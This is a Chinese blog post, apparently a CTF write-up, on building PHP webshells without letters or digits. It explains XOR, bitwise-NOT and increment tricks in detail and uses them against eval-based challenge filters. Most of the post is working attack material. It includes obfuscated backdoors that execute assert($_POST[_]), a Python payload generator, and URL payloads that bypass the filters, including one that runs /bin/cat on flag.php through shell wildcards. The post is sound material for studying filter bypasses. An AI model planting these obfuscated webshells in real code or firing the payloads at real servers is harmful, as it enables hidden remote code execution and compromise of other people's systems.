文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

流量分析

机器学习

基础学习

Python

Python编程

Java

Java编程

算法

Leetcode

随笔

经验

技术

 2020-10-19   3.1k

PHP无数字字母构造webshell

0x01 从一道题目出发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>

分析代码可知

  • 只要执行getFlag()函数应该就可以得到flag了
  • 但对code的长度限制<40,并且code不能有数字和大小写字母

0x02 前置知识

异或运算

在PHP中,两个变量进行异或时,先会将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完,又将结果从二进制转换成了ASCII值,再将ASCII值转换成字符串。

举个例子:

1
2
A的ASCII值是65,对应的二进制值是01000001
`?的ASCII值是63,对应的二进制值是00111111

异或的二进制的值是01111110,对应的ASCII值是126,对应的字符串的值就是~了。

再结合PHP弱类型的特点,可以将整型转换成字符串型,将布尔型当作整型,或者将字符串当作函数来处理,下面我们来看一段代码:

1
2
3
4
5
6
7
8
<?php
function B(){
echo "Hello Angel_Kitty";
}
$_++;
$__= "?" ^ "}";
$__();
?>

第5行代码对变量名为_的变量进行自增操作,在PHP中未定义的变量默认值为null(nullfalse0),我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。

第6行代码对字符?}进行异或操作,得到字符B赋值给变量名为__的变量。

第7行代码可以看作是执行B(),表示调用函数B,所以执行结果为Hello Angel_Kitty

再看一个非数字字母的PHP后门:

1
2
3
4
5
6
7
8
9
10
// demo1.php
<?php
@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

_POST的拼接可以将上面的代码合并为一行,代码如下:

1
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");

还可以用更短的字符:

1
2
"`{{{"^"?<>/" //_GET
"#./|{"^"|~`//" //_POST

取反运算

来看一个汉字"和"

1
2
3
4
5
6
>>> print("和".encode('utf8'))
b'\xe5\x92\x8c'
>>> print("和".encode('utf8')[2])
140
>>> print(~"和".encode('utf8')[2])
-141

的第三个字节的值为140[0x8c],取反的值为-141。
负数用十六进制表示,通常用的是补码的方式表示。负数的补码是它本身的值每位求反,最后再加一。141的16进制为0xff73,php中chr(0xff73)==115,115就是s的ASCII值。
因此

1
2
3
4
5
<?php
$_="和";
print(~($_{2}));
print(~"\x8c");
?>

两个写法性质一样,结果会输出:ss

脚本生成payload:

1
2
3
4
5
6
>>> def get(shell):
... hexbit=''.join(map(lambda x: hex(~(-(256-ord(x)))),shell))
... print(hexbit)
...
>>> get('phpinfo')
0x8f0x970x8f0x960x910x990x90

不用数字构造数字

主要思想就是,利用了PHP弱类型特性,true的值为1。

1
2
3
$_=('>'>'<')+('>'>'<')
print($_) // 1
print($_/$_) // 2

字符>的ascii值大于<ascii的值

1
2
3
4
<?php
$_++;
print($_); // 1
?>

php中未定义的变量默认值为null,nullfalse0

0x03 无数字字母构造webshell

代码

1
2
3
4
5
// demo2.php
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}

思路

将非字母、数字的字符经过各种变换,最后能构造出a-z中任意一个字符。然后再利用PHP允许动态函数执行的特点,拼接处一个函数名,如"assert",然后动态执行即可。

使用assert的话PHP版本必须小于等于7.0

利用异或操作

不可打印字符,用url编码表示。

1
2
3
4
5
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

查ascii码对照表可以发现,0x01 = 1 = SOH; 0x13 = 19 = DC3; 0x05 = 5 = ENQ等等

img

如果要直接使用的话,必须对这些不可打印的特殊字符url编码,实际上木马应该是下面这个样子:

1
2
3
4
5
6
<?php
$_=(urldecode('%01')^'`').(urldecode('%13')^'`').(urldecode('%13')^'`').(urldecode('%05')^'`').(urldecode('%12')^'`').(urldecode('%14')^'`');
$__='_'.(urldecode('%0D')^']').(urldecode('%2F')^'`').(urldecode('%0E')^']').(urldecode('%09')^']');
$___=$$__;
$_($___[_]);// assert($_POST[_]);
?>

img

利用取反操作

利用的是UTF-8编码的某个汉字,将其中的某个字符取出来,取反为字母。一个汉字的utf8是三个字节,{2}表示第3个字节。

1
2
3
4
5
6
7
8
<?php
header("Content-Type:text/html;charset=utf-8");
$__=('>'>'<')+('>'>'<');//$__=2
$_=$__/$__;//$_=1
$___="瞰";
$____="和";
print(~($___{$_})); // a
print(~($____{$__})); // s

payload

1
2
3
4
5
6
7
8
9
10
11
<?php
$__=('>'>'<')+('>'>'<');//$__2
$_=$__/$__;//$_1

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});//$____=assert

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});//$_____=_POST

$_=$$_____;//$_=$_POST
$____($_[$__]);//assert($_POST[2])

img

这里也有一种简短的写法${~"\xa0\xb8\xba\xab"}它等于$_GET。这里相当于直接把utf8编码的某个字节提取出来统一进行取反。

利用递增操作符

我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。
数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array。再取这个字符串的第一个字母,就可以获得’A’。

因为PHP函数是大小写不敏感的,最终执行的是ASSERT($POST[]),无需获取小写a。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

0x04 回到最开始的那道题

异或方法

前面提到过_GET也可以这样拼接:

1
$__="`{{{"^"?<>/"; // $__="_GET";

按照这种方法,可以得到一种payload:

1
?code=$_="`{{{"^"?<>/";${$_}[_]();&_=getFlag

${$_}[_]() = $_GET[_](),url传入_=getFlag

本文的后面解释了${$_}[_]()中的{}的作用

还有两种更直接的payload:

1
2
?code=$_='[[]|@[['^'<>):,:<';$_();    //$_='getFlag'
?code=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();

相当于 $啊=getFlag;$啊();

取反方法

前面也提到过$_GET还有一种简短的写法${~"\xa0\xb8\xba\xab"}

那么利用这种方式可得payload:

1
?code=$_=~%98%9A%8B%B9%93%9E%98;$_(); //%_为getFlag取反然后URL编码得结果

1
?code=%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag

其中:%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B = $_GET['+']

0x05 进一步思考

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

include 'flag.php';

if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>

在上面一道题的基础上,又过滤了下划线_,意味着不能定义变量,而且也构造不出来数字。

首先看一个错误的payload:

1
?code=('$').("`{{{"^"?<>/").(['+'])&+=getFlag();

错误的原因是eval只能解析一遍代码,所以如果写的是a.b这样的字符串拼接,就只会执行这个拼接,并不会去执行代码

例如:

eval($_GET['b']) url里面 b=phpinfo(); 这时候相当于eval('phpinfo();')
eval($_GET['b']) url里面b=$_GET[c]&c=phpinfo(); 相当于eval('$_GET[c]')
上面的payload是code=$_GET['+']&+=getFlag(); ,也就是eval('$_GET['+'])并不会执行getFlag();

1
2
3
4
5
6
7
8
9
<?php
function getflag()
{
echo "12354";
}
$a="getflag";
$b="()";
@eval($a.$b);
?>

这个代码不会输出任何结果。

正确的payload为:

1
?code=${"`{{{"^"?<>/"}['+']();&+=getFlag

这里利用了${}中的代码是可以执行的特点,其实也就是可变变量。

1
2
3
4
5
<?php
$a = 'hello';
$$a = 'world';
echo "$a ${$a}";
?>

输出hello world${$a},括号中的$a是可以执行的,变成了hello。

这也解释上面提到的为什么要加上{}

还可以使用取反的方法:

1
?code=%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag

其中24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B = ${~"\xa0\xb8\xba\xab"} = $_GET

~在{}中执行了取反操作

另外上面提到过的一个payload仍然还是可以使用:

1
code=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();

这里就不需要用{}了,因为异或的值直接被当作字符串赋值给了$啊。

0x06 最后的思考

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php 
include 'flag.php';
if(isset($_GET['code']))
{
$code=$_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code))
{
die("NO.");
}
@eval($code);
}
else
{
highlight_file(__FILE__);
}
//$hint="php function getFlag() to get flag";
?>

这道题进一步的过滤了$字符。

Payload:

1
code=?><?=`/???/??? ????.???`?>

前提是在Linux系统中

首先?>闭合php文件开头的<?php<?=可以输出。

<? ?>是短标签,<?php ?>是长标签。在php的配置文件php.ini中有一个short_open_tag的值,开启以后可以使用PHP的短标签:<? ?>同时,只有开启这个才可以使用 <?=>以代替 <? echo

另外,在linux系统中,是支持正则的,某些你忘记某个字符情况下,你可以使用? * %等字符来替代,当然这里想要执行命令,需要极限的利用这个方法,经过测试:

/???/???通配``/bin/cat???.???通配flag.php`

0x07 Reference

https://www.moonback.xyz/2019/10/16/nowords-webshell/

[php不使用数字字母和下划线写shell](

Copyright © ca01h 2019-2020 | 本站总访问量